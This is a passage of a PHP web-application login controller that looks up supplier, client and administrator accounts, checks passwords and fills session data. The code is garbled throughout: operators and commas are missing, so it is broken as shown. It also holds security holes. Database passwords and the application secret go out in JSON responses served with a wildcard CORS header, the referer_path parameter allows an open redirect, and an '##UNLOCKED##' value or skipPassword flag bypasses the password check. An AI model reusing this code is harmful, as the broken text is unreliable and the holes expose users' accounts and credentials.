  4409. //                                    } else {
  4410.                                     $message "Oops! Wrong Password";
  4411.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4412.                                         return new JsonResponse(array(
  4413.                                             'uid' => $session->get(UserConstants::USER_ID),
  4414.                                             'session' => $session,
  4415.                                             'success' => false,
  4416.                                             'errorStr' => $message,
  4417.                                             'session_data' => [],
  4418.                                         ));
  4419.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4420.                                         //                    return $response;
  4421.                                     }
  4422.                                     if ($systemType == '_BUDDYBEE_')
  4423.                                         return $this->redirectToRoute("applicant_login", [
  4424.                                             "message" => $message,
  4425.                                             "errorField" => 'password',
  4426.                                         ]);
  4427.                                     else if ($systemType == '_SOPHIA_')
  4428.                                         return $this->redirectToRoute("sophia_login", [
  4429.                                             "message" => $message,
  4430.                                             "errorField" => 'username',
  4431.                                         ]);
  4432.                                     else if ($systemType == '_CENTRAL_')
  4433.                                         return $this->redirectToRoute("central_login", [
  4434.                                             "message" => $message,
  4435.                                             "errorField" => 'username',
  4436.                                         ]);
  4437.                                     else
  4438.                                         return $this->render($redirect_login_page_twig, array(
  4439.                                             "message" => $message,
  4440.                                             'page_title' => "Login",
  4441.                                             'gocList' => $gocDataList,
  4442.                                             'gocId' => $gocId
  4443.                                         ));
  4444.                                 }
  4445.                             }
  4446.                         }
  4447.                         $jd = [];
  4448.                         if ($jd != null && $jd != '' && $jd != [])
  4449.                             $company_id_list $jd;
  4450.                         else
  4451.                             $company_id_list = [];
  4452. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4453. //                        foreach ($company_id_list as $c) {
  4454. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4455. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4456. //                        }
  4457.                     };
  4458.                 } else {
  4459.                     if ($cookieLogin == 1) {
  4460.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4461.                             array(
  4462.                                 'userId' => $userId
  4463.                             )
  4464.                         );
  4465.                     } else if ($encrypedLogin == 1) {
  4466.                         if (in_array($userType, [34]))
  4467.                             $specialLogin 1;
  4468.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4469.                             $user null;
  4470.                             if ($clientId 0) {
  4471.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4472.                                     array(
  4473.                                         'clientId' => $clientId
  4474.                                     )
  4475.                                 );
  4476.                             }
  4477.                             if (!$user) {
  4478.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4479.                                     array(
  4480.                                         'globalUserId' => $globalId
  4481.                                     )
  4482.                                 );
  4483.                             }
  4484. //
  4485.                             if ($user)
  4486.                                 $userId $user->getClientId();
  4487.                             $clientId $userId;
  4488.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4489.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4490.                                 array(
  4491.                                     'globalUserId' => $globalId
  4492.                                 )
  4493.                             );
  4494. //
  4495.                             if ($user)
  4496.                                 $userId $user->getSupplierId();
  4497.                             $supplierId $userId;
  4498.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4499. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4500. //                                array(
  4501. //                                    'globalId' => $globalId
  4502. //                                )
  4503. //                            );
  4504. //
  4505. //                            if($user)
  4506. //                                $userId=$user->getUserId();
  4507. //                            $applicantId = $userId;
  4508.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4509.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4510.                                 array(
  4511.                                     'globalId' => $globalId
  4512.                                 )
  4513.                             );
  4514.                             if ($user)
  4515.                                 $userId $user->getUserId();
  4516.                         }
  4517.                     } else {
  4518.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4519.                             array(
  4520.                                 'userName' => $request->request->get('username')
  4521.                             )
  4522.                         );
  4523.                     }
  4524.                     if (!$user) {
  4525.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4526.                             array(
  4527.                                 'email' => $request->request->get('username'),
  4528.                                 'userName' => [null'']
  4529.                             )
  4530.                         );
  4531.                         if (!$user) {
  4532.                             $message "Wrong User Name";
  4533.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4534.                                 return new JsonResponse(array(
  4535.                                     'uid' => $session->get(UserConstants::USER_ID),
  4536.                                     'session' => $session,
  4537.                                     'success' => false,
  4538.                                     'errorStr' => $message,
  4539.                                     'session_data' => [],
  4540.                                 ));
  4541.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4542.                                 //                    return $response;
  4543.                             }
  4544.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4545.                                 "message" => $message,
  4546.                                 'page_title' => "Login",
  4547.                                 'gocList' => $gocDataList,
  4548.                                 'gocId' => $gocId
  4549.                             ));
  4550.                         } else {
  4551.                             //add the email as username as failsafe
  4552.                             $user->setUserName($request->request->get('username'));
  4553.                             $em->flush();
  4554.                         }
  4555.                     }
  4556.                     if ($user) {
  4557.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4558.                             $message "Sorry, Your Account is Deactivated";
  4559.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4560.                                 return new JsonResponse(array(
  4561.                                     'uid' => $session->get(UserConstants::USER_ID),
  4562.                                     'session' => $session,
  4563.                                     'success' => false,
  4564.                                     'errorStr' => $message,
  4565.                                     'session_data' => [],
  4566.                                 ));
  4567.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4568.                                 //                    return $response;
  4569.                             }
  4570.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4571.                                 "message" => $message,
  4572.                                 'page_title' => "Login",
  4573.                                 'gocList' => $gocDataList,
  4574.                                 'gocId' => $gocId
  4575.                             ));
  4576.                         }
  4577.                     }
  4578.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4579.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4580.                         $message "Wrong Email/Password";
  4581.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4582.                             return new JsonResponse(array(
  4583.                                 'uid' => $session->get(UserConstants::USER_ID),
  4584.                                 'session' => $session,
  4585.                                 'success' => false,
  4586.                                 'errorStr' => $message,
  4587.                                 'session_data' => [],
  4588.                             ));
  4589.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4590.                             //                    return $response;
  4591.                         }
  4592.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4593.                             "message" => $message,
  4594.                             'page_title' => "Login",
  4595.                             'gocList' => $gocDataList,
  4596.                             'gocId' => $gocId
  4597.                         ));
  4598.                     }
  4599.                     $userType $user->getUserType();
  4600.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4601.                     if ($jd != null && $jd != '' && $jd != [])
  4602.                         $company_id_list $jd;
  4603.                     else
  4604.                         $company_id_list = [$user->getUserCompanyId()];
  4605.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4606.                     foreach ($company_id_list as $c) {
  4607.                         if (isset($companyList[$c])) {
  4608.                             $company_name_list[$c] = $companyList[$c]['name'];
  4609.                             $company_image_list[$c] = $companyList[$c]['image'];
  4610.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4611.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4612.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4613.                         }
  4614.                     }
  4615.                 }
  4616. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4617.                 if ($remember_me == 1)
  4618.                     $session->set('REMEMBERME'1);
  4619.                 else
  4620.                     $session->set('REMEMBERME'0);
  4621.                 $config = array(
  4622.                     'firstLogin' => $firstLogin,
  4623.                     'rememberMe' => $remember_me,
  4624.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4625.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4626.                     'applicationSecret' => $this->container->getParameter('secret'),
  4627.                     'gocId' => $gocId,
  4628.                     'appId' => $appIdFromUserName,
  4629.                     'gocDbName' => $gocDbName,
  4630.                     'gocDbUser' => $gocDbUser,
  4631.                     'gocDbHost' => $gocDbHost,
  4632.                     'gocDbPass' => $gocDbPass
  4633.                 );
  4634.                 $product_name_display_type 0;
  4635.                 if ($systemType != '_CENTRAL_') {
  4636.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4637.                         'name' => 'product_name_display_method'
  4638.                     ));
  4639.                     if ($product_name_display_settings)
  4640.                         $product_name_display_type $product_name_display_settings->getData();
  4641.                 }
  4642.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4643.                     $userCompanyId 1;
  4644.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4645.                     if (isset($companyList[$userCompanyId])) {
  4646.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4647.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4648.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4649.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4650.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4651.                     }
  4652.                     // General User
  4653.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4654.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4655.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4656.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4657.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4658.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4659.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4660.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4661.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4662.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4663.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4664.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4665.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4666.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4667.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4668.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4669.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4670.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4671.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4672.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4673.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4674.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4675.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4676.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4677.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4678.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4679.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4680.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4681.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4682.                     //                $PL=json_decode($user->getPositionIds(), true);
  4683.                     $route_list_array = [];
  4684.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4685.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4686.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4687.                     $loginID 0;
  4688.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4689.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4690.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4691.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4692.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4693.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4694.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4695.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4696.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4697.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4698.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4699.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4700.                         $session->set('remoteVerified'1);
  4701.                         $session_data = array(
  4702.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4703.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4704.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4705.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4706.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4707.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4708.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4709.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4710.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4711.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4712.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4713.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4714.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4715.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4716.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4717.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4718.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4719.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4720.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4721.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4722.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4723.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4724.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4725.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4726.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4727.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4728.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4729.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4730.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4731.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4732.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4733.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4734.                         );
  4735.                         $session_data $this->filterClientSessionData($session_data);
  4736.                         $response = new JsonResponse(array(
  4737.                             'uid' => $session->get(UserConstants::USER_ID),
  4738.                             'session' => $session,
  4739.                             'success' => true,
  4740.                             'session_data' => $session_data,
  4741.                         ));
  4742.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4743.                         return $response;
  4744.                     }
  4745.                     if ($request->request->has('referer_path')) {
  4746.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4747.                             return $this->redirect($request->request->get('referer_path'));
  4748.                         }
  4749.                     }
  4750.                     //                    if($request->request->has('gocId')
  4751.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4752.                     return $this->redirectToRoute("supplier_dashboard");
  4753.                     //                    else
  4754.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4755.                 }
  4756.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4757.                     // General User
  4758.                     $userCompanyId 1;
  4759.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4760.                     if (isset($companyList[$userCompanyId])) {
  4761.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4762.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4763.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4764.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4765.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4766.                     }
  4767.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4768.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4769.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4770.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4771.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4772.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4773.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4774.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4775.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4776.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4777.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4778.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4779.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4780.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4781.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4782.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4783.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4784.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4785.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4786.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4787.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4788.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4789.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4790.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4791.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4792.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4793.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4794.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4795.                     //                $PL=json_decode($user->getPositionIds(), true);
  4796.                     $route_list_array = [];
  4797.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4798.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4799.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4800.                     $loginID 0;
  4801.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4802.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4803.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4804.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4805.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4806.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4807.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4808.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4809.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4810.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4811.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4812.                     $session_data = array(
  4813.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4814.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4815.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4816.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4817.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4818.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4819.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4820.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4821.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4822.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4823.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4824.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4825.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4826.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4827.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4828.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4829.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4830.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4831.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4832.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4833.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4834.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4835.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4836.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4837.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4838.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4839.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4840.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4841.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4842.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4843.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4844.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4845.                     );
  4846.                     $session_data $this->filterClientSessionData($session_data);
  4847.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4848.                     $session_data $tokenData['sessionData'];
  4849.                     $token $tokenData['token'];
  4850.                     $session->set('token'$token);
  4851.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4852.                         $session->set('remoteVerified'1);
  4853.                         $response = new JsonResponse(array(
  4854.                             'uid' => $session->get(UserConstants::USER_ID),
  4855.                             'session' => $session,
  4856.                             'token' => $token,
  4857.                             'success' => true,
  4858.                             'session_data' => $session_data,
  4859.                         ));
  4860.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4861.                         return $response;
  4862.                     }
  4863.                     if ($request->request->has('referer_path')) {
  4864.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4865.                             return $this->redirect($request->request->get('referer_path'));
  4866.                         }
  4867.                     }
  4868.                     //                    if($request->request->has('gocId')
  4869.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4870.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4871.                     //                    else
  4872.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4873.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4874.                     // System administrator
  4875.                     // System administrator have successfully logged in. Lets add a login ID.
  4876.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4877.                         ->findOneBy(
  4878.                             array(
  4879.                                 'userId' => $user->getUserId()
  4880.                             )
  4881.                         );
  4882.                     if ($employeeObj) {
  4883.                         $employeeId $employeeObj->getEmployeeId();
  4884.                         $epositionId $employeeObj->getPositionId();
  4885.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4886.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4887.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4888.                     }
  4889.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4890.                         ->findOneBy(
  4891.                             array(
  4892.                                 'userId' => $user->getUserId(),
  4893.                                 'workingStatus' => 1
  4894.                             )
  4895.                         );
  4896.                     if ($currentTask) {
  4897.                         $currentTaskId $currentTask->getId();
  4898.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4899.                     }
  4900.                     $userId $user->getUserId();
  4901.                     $userCompanyId 1;
  4902.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4903.                     $userEmail $user->getEmail();
  4904.                     $userImage $user->getImage();
  4905.                     $userFullName $user->getName();
  4906.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4907.                     $position_list_array json_decode($user->getPositionIds(), true);
  4908.                     if ($position_list_array == null$position_list_array = [];
  4909.                     $filtered_pos_array = [];
  4910.                     foreach ($position_list_array as $defPos)
  4911.                         if ($defPos != '' && $defPos != 0)
  4912.                             $filtered_pos_array[] = $defPos;
  4913.                     $position_list_array $filtered_pos_array;
  4914.                     if (!empty($position_list_array))
  4915.                         foreach ($position_list_array as $defPos)
  4916.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4917.                                 $curr_position_id $defPos;
  4918.                             }
  4919.                     $userDefaultRoute $user->getDefaultRoute();
  4920. //                    $userDefaultRoute = 'MATHA';
  4921.                     $allModuleAccessFlag 1;
  4922.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4923.                         $userDefaultRoute '';
  4924. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4925.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4926.                     if (isset($companyList[$userCompanyId])) {
  4927.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4928.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4929.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4930.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4931.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4932.                     }
  4933.                     if ($allModuleAccessFlag == 1)
  4934.                         $prohibit_list_array = [];
  4935.                     else if ($curr_position_id != 0)
